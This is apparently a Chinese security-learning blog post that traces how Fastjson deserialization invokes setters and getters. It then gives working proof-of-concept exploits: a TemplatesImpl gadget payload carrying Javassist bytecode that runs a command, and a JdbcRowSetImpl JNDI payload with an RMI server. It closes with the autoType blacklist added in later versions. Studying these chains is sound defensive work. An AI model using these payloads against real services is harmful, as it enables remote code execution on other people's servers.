前言

休息了好像有一周了(慢慢的罪恶感),昨天在打比赛的时候做了一个php-cms的审计,然后激起了学习的热情。

之前打比赛的时候遇到过fastjson的题,当时也就是直接用poc利用了,也学习过fastjson的触发原理,这里简单的复习一下,文章如下:

https://www.cnblogs.com/seizer/p/17035786.html

Fastjson反序列化原理

基本原理:jdk反序列化会触发readObject方法,在Fastjson反序列化中则会触发setter方法(序列化过程中会触发getter方法)。

通过举例能更好理解User.java

package com.ggbond.fastjson;

public class User {
    public String t1;
    public String _t2;
    private String _t3;
    private String t4;
    private String t5;

    private void setT1(String t1) {
        System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
        this.t1 = t1;
    }


    public void setT2(String _t2) {
        System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
        this._t2 = _t2;
    }


    public void setT3(String _t3) {
        System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
        this._t3 = _t3;
    }


    private void setT4(String t4) {
        System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
        this.t4 = t4;
    }

    public void setT5(String t5) {
        System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
        this.t5 = t5;
    }
}

其中对部分setter方法进行了修改,如将sett1、setT4方法修改为私有private 方法,修改set_t2、set_t3setT2、setT3,这样有助于帮助我们更好的理解TemplatesImpl利用链

然后将字段{"@type":"com.ggbond.fastjson.User","t1":"1","_t2":"2","t3":{},"t4":{}}进行反序列化,代码如下:

package com.ggbond.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class FastDeser {
    public static void main(String[] args) {
        // {"@type":"com.ggbond.fastjson.User","t1":"1","_t2":"2","_t3":"3","t4":"4","t5":"5"}
        String Poc = "{\"@type\":\"com.ggbond.fastjson.User\",\"t1\":\"1\",\"_t2\":\"2\",\"_t3\":\"3\",\"t4\":\"4\",\"t5\":\"5\"}";
        Object parse1 = JSON.parse(Poc);
        Object parse2 = JSON.parse(Poc, Feature.SupportNonPublicField);
        System.out.println("");
    }
}

Feature.SupportNonPublicField作用

通过执行上述代码,对比parse1parse2可以知道Feature.SupportNonPublicField字段的意义

两者区别在于t4是否被赋值:

  1. 对照组t1和t4,两者setter方法均为private私有方法,t1为public变量,t4为private变量,说明Feature.SupportNonPublicField字段(汉译:支持未公开属性)与变量访问修饰符有关
  2. 对照组t4和t5,两者均为private变量,setter方法存在差异,说明Feature.SupportNonPublicField字段(汉译:支持未公开属性)与方法访问修饰符有关

结果:当一个属性为private私有变量时,如果不存在public的setter方法为其进行赋值时,是不能通过Fastjson进行赋值的,当传入Feature.SupportNonPublicField字段后,则会对其赋值。

然后再看一下输出方面:

两者都是执行了setT3、setT5方法,不存在差异,总结一下其他setter方法未被执行的原因

  1. setT1、setT4为私有private方法
  2. setT2未知

这里按照之前的理解setT2、setT3方法应该都会被执行的,这里需要说一下,在使用IDEA生成setter方法时,发现应该是这样的

public void set_t3(String _t3) {
    this._t3 = _t3;
}

但是我们这里使用setT3的形式,这样却还会执行,在Fastjson进行反序列化解析的时候,在JavaBeanDeserializer#parseField中调用smartMatch()方法进行模糊匹配,并将_替换为空

之后通过t3去找对应的setter、getter方法

但是这里却只执行了setT3方法,进行对照两者区别:_t2_t3前者为public属性,后者为private属性。

探究setter方法执行原理

这里困惑了好久,然后写了个测试类进行Debug终于找到原因了

package com.ggbond.Test;

public class User {
    public String t1;
    private String t2;

    public void setT1(String t1) {
        System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
        this.t1 = t1;
    }

    public void setT2(String t2) {
        System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
        this.t2 = t2;
    }
}

反序列化上述类,一切正常,两个setter方法全部都执行了

然后再将测试类修改为如下:

package com.ggbond.Test;

public class User {
    public String _t1;
    private String _t2;

    public void setT1(String _t1) {
        System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
        this._t1 = _t1;
    }

    public void setT2(String _t2) {
        System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
        this._t2 = _t2;
    }
}

如果按照之前那个结果,应该只执行setT2而不会执行setT1,结果确实如此:

然后我们通过Debug进行看一下,关键代码为反序列化器生成阶段JavaBeanInfo#build

这里328行首先对methods进行遍历(这里通过getMethods()获取,故不包含private私有方法)

然后再375-384行这里对setter方法进行一个检测,之后propertyName获取为set后的字符串(这里即t2),这里386行也可以看到如果第4位为_,则是获取_之后的部分

之后再396这里从declaredFields中获取与propertyName相同的成员变量,他们直接都相差一个_,所以遍历结束field还为空

之后再429行,将该FieldInfo添加到fieldList,结果如下:

之后再433行遍历成员变量,使用getFields方法,所以就不包括_t2

遍历结束后fieldList如下,_t1存在field,但没有method

再之后490行又遍历了一遍方法,但是这次遍历时为了找对应的getter方法的,这里暂且不看

到这里所有的反序列化器就算生成结束了,接下来进行解析,从JavaBeanDeserializer#deserialze进入,核心代码349行,这里sortedFieldDeserializers变量其中就是刚才的反序列化器

这里就是进行了类型的判断,并在Poc中找对应的值fieldValue

这里本以为_t1是可以在Poc中找到对应的值fieldValue的,但是这里还是返回了null,debug过程中,在一进入JavaBeanDeserializer#deserialze_t1已经被赋予了值,个人浅显理解应该是对于public属性直接从Poc中提取值然后赋值,因为反序列化就是要还原对象,既然已经赋值了所以不需要再进行不必要的代码执行,所以就导致该变量没有进行变相setter方法的执行,而_t2还需要进行一系列检测

如下386行处

这里没有找到,所以matchField还是false,接着来到577行,这里进入下边的else语块

进到600行的parseField方法,进到724行的smartMatch方法

783行处,根据key值获取反序列化器,这里没有所以返回null,然后再下边遍历所有反序列化找fieldInfo.name为key值的反序列化器,也无果

然后再807行,因为之前都没有找到,所以这里进入if语句,将key值的_替换掉变成t2,然后在下边823行处同构t2找到对应的反序列化器并返回

然后回到parseField方法773行,进入DefaultFieldDeserializer#parseField

83行处进入setValue,然后里边的96行反射执行setter方法

探究getter方法执行原理

再来看一个例子(加深Fastjson反序列化过程的理解),测试类如下:

package com.ggbond.Test;

import java.util.Map;

public class User {
    public Map t1;
    private Map t2;

    public Map getT1() {
        System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
        return t1;
    }

    public Map getT2() {
        System.out.println(Thread.currentThread().getStackTrace()[1].getMethodName());
        return t2;
    }
}

我们之前学习的时候是这样的:当不存在setter方法时,会调用满足条件的getter方法,需要满足的主要条件如下:

  • 非静态方法
  • 返回值类型继承自Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong
  • 方法为 public 属性

但是这里我们发现只执行了getT2方法,通过Debug找了好久,在JavaBeanInfo#build方法433行这里我们发现,通过反射getFields()获取成员属性,这里自然是获取不到t2

这里进行一系列处理后将信息装入fieldList

之后通过反射clazz.getMethods()对方法进行了遍历

通过getFieldfieldList获取t1fieldInfo,如果存在则不再添加到fieldList中,这样就导致fieldList中并没有写入t1getter方法

来看一下t2,由于fieldList并没有关于t2fieldInfo,所以将目前方法method添加到fieldList

在后续的解析过程中,在FieldDeserializer#setValue中66行,对于t1来说,因为没有method这里进入99行的else句块

else句块这里获取fieldInfo.field属性,然后在130行通过反射set直接赋值,不进行调用方法

而t2这里可以直接获取到fieldInfo.method属性,进入if句块

这里通过判断该方法返回值为Map类,然后通过反射invoke执行getter方法

TemplatesImpl利用链

通过简单的对Fastjson反序列化学习和上述的较深入理解,现在我们来分析一下TemplatesImpl利用链,Poc如下:

{
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": ["Eval.base64"],
    "_name": "seizer",
    "_tfactory": {},
    "_outputProperties": {}
}

之前学习过TemplatesImpl利用链,Poc如下:


package com.serializable.cc2;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;


public class LoadTestTemp {
    public static void main(String[] args) throws Exception {
        ClassPool classPool = ClassPool.getDefault();   // 获取CtClass容器
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); // 引入AbstractTranslet路径到classpath中
        CtClass testCtClass = classPool.makeClass("TestCtClass");   // 创建CtClass对象
        testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));    // 设置父类为AbstractTranslet
        CtConstructor ctConstructor = testCtClass.makeClassInitializer();   // 创建空初始化构造器
        ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");"); // 插入初始化语句
        byte[] bytes = testCtClass.toBytecode();    // 获取字节数据
        TemplatesImpl templates = new TemplatesImpl();
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        Reflections.setFieldValue(templates, "_name", "seizer");
//        templates.newTransformer();
        templates.getOutputProperties();
    }
}

通过对TemplatesImpl 对象的_bytecodes,_tfactory,_name进行赋值来进行加载恶意字节码文件,然后通过执行TemplatesImpl#getOutputProperties进行触发

这里的TemplatesImpl#getOutputProperties其实也是一个getter方法,可以通过Fastjson反序列化进行触发,然后通过Feature.SupportNonPublicField字段进行对private属性进行赋值

通过上述学习,我们很容易可以写出Poc:

package com.ggbond.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import java.util.Base64;

public class FastTempDeser {
    public static String generateEvil() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clas = pool.makeClass("Evil");
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        String cmd = "Runtime.getRuntime().exec(\"calc\");";
        clas.makeClassInitializer().insertBefore(cmd);
        clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName()));

        byte[] bytes = clas.toBytecode();
        String EvilCode = Base64.getEncoder().encodeToString(bytes);
        System.out.println(EvilCode);
        return EvilCode;
    }
    public static void main(String[] args) throws Exception {
        final String GADGAT_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String evil = FastTempDeser.generateEvil();
        String PoC = "{\"@type\":\"" + GADGAT_CLASS + "\",\"_bytecodes\":[\"" + evil + "\"],'_name':'a.b','_tfactory':{},\"_outputProperties\":{ }}";
        JSON.parse(PoC, Feature.SupportNonPublicField);
    }
}

执行结果:

这里对_bytecodes我们使用了中括号和base64编码:

在解析时DefaultFieldDeserializer#parseField

进入后136行这里会进行base64解码:

JdbcRowSetImpl利用链

这条利用链通过配合JNDI注入加载恶意类

https://www.cnblogs.com/seizer/p/17092526.html

通过Poc看一下:

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "rmi://127.0.0.1:2333/Calc",
    "autoCommit": true
}

用到JdbcRowSetImpl这个类,Poc中有两个参数,找一下入口点为JdbcRowSetImpl#setAutoCommit

这里进到JdbcRowSetImpl#connect,条件是conn属性为空,不赋值就好了

可以看到325行处使用InitialContext#lookup进行了远程方法调用,通过this.getDataSourceName()返回值进行获取远程类

这里dataSource是通过private修饰的,如果不存在public的setter方法的话(这里存在),需要Feature.SupportNonPublicField才可以触发反序列化

所以最终Poc:

package com.ggbond.fastjson;

import com.alibaba.fastjson.JSON;

public class FJPoc {
    public static void main(String[] args) {
        String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:2333/Calc\", \"autoCommit\":true}";
        JSON.parse(PoC);
    }
}

还需要起一个RMI服务

package com.ggbond.Jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;


import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(2333);
        Reference reference = new Reference("Calc", "Evil", "http://127.0.0.1/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Calc", referenceWrapper);

    }
}

执行结果:

总结

经过浅显学习Fastjson的反序列化原理,可以明白反序列化过程中最重要的两个步骤就是DefaultJSONParser#parseObject中367-368行的内容,前者获取反序列化器,后者进行实例化对象并解析

同样在该方法中,还有一个重要的点在于322行处,通过@type键值可以进行获取到类对象

所以在Fastjson1.2.24之后的版本中,对此处进行了修改

https://github.com/alibaba/fastjson/commit/d52085ef54b32dfd963186e583cbcdfff5d101b5

看一下Fastjson1.2.26

checkAutoType方法加入了白名单和黑名单的方式防止漏洞利用

其中黑名单中扩充了很多类

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework